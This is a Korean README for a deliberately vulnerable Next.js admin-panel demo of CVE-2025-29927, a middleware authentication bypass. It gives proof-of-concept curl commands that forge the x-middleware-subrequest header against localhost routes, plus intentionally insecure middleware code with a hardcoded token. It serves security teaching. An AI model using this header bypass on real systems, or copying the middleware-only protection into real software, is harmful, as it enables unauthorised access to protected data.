
CVE-2025-29927의 교육용 데모로, 중대한 Next.js 미들웨어 인증 우회를 다룹니다. 취약한 관리자 패널, 개념 증명 익스플로잇 명령어, 보안 교육용 완화 지침을 포함합니다.
경고: 이 애플리케이션은 의도적으로 취약하게 만들어졌습니다. 교육 및 승인된 보안 연구 목적으로만 사용하세요. 공용 서버에 배포하지 마십시오.
이 앱은 Next.js 미들웨어의 심각한 인증 우회 취약점인 CVE-2025-29927(CVSS 9.1)을 시연합니다. 이 애플리케이션은 가상 회사 "Himalaya Tech Pvt. Ltd."의 현실적인 기업 관리자 패널을 시뮬레이션하여 우회의 영향을 시각적으로 설득력 있게 보여줍니다.
표시된 모든 직원 기록, API 키, 데이터베이스 자격 증명 및 기타 "민감한" 데이터는 전적으로 가상이며 모의 데이터입니다 — 교육 시연용으로만 생성되었습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-29927 |
| 심각도 | 심각 (CVSS 9.1) |
| 영향 버전 | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| 수정 버전 | Next.js 14.2.30, 15.2.3 |
| 유형 | HTTP 헤더 조작을 통한 미들웨어 인증 우회 |
Next.js는 내부 HTTP 헤더 x-middleware-subrequest를 사용하여 재귀적 미들웨어 호출을 추적하고 무한 루프를 방지합니다. 취약한 버전에서 공격자는 외부 요청에 이 헤더를 위조할 수 있습니다. 헤더가 존재하고 미들웨어 식별자와 일치하면 Next.js 런타임은 미들웨어 전체를 건너뛰며, 그 안에 정의된 모든 인증 로직도 건너뜁니다.
경로를 보호하기 위해 middleware.ts에만 의존하는 모든 애플리케이션(일반적이고 권장되는 Next.js 패턴)이 취약합니다. 인증되지 않은 공격자는 단순히 하나의 HTTP 헤더를 추가하여 모든 보호된 페이지에 접근할 수 있습니다.
curl -v http://localhost:3000/admin
# → 307 리디렉션 ( /login )
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — 전체 관리자 대시보드 HTML 반환, 인증 불필요
# 관리자 사용자 페이지
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# "프로덕션 자격 증명"이 포함된 시스템 설정
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
/admin/*에 대한 모든 요청에 요청 헤더 x-middleware-subrequest: middleware를 추가하면 미들웨어 검사가 건너뛰어집니다.
middleware.ts가 유일한 보호 메커니즘입니다:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← 이 전체 함수가 건너뛰어집니다
}
}
return NextResponse.next();
}
페이지 컴포넌트 자체(예: app/admin/page.tsx)에는 인증 검사가 없습니다 — 의도적으로, 미들웨어 전용 보호 패턴을 따르는 실제 애플리케이션을 반영하기 위함입니다.
npm install
npm run dev
앱은 http://localhost:3000에서 사용할 수 있습니다.
| 경로 | 인증 필요 | 설명 |
|---|---|---|
/ | 아니오 | 공개 랜딩 페이지 |
/login | 아니오 | 로그인 폼 |
/admin | 예* | 민감한 데이터가 있는 관리자 대시보드 |
/admin/users | 예* | 사용자 관리 |
/admin/settings | 예* | 시스템 설정 및 자격 증명 |
*미들웨어로만 보호됨 — CVE-2025-29927에 의해 우회됩니다.
[email protected]Admin@2024이 애플리케이션은 교육 목적으로만 제공되며, 특히 윤리적 보안 과정 컨텍스트에서 CVE-2025-29927의 실제 영향을 시연하기 위해 제공됩니다. 모든 데이터(직원 기록, API 키, 자격 증명)는 전적으로 가상입니다. 이 데모 애플리케이션이나 여기서 시연된 기술을 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 사용하지 마십시오.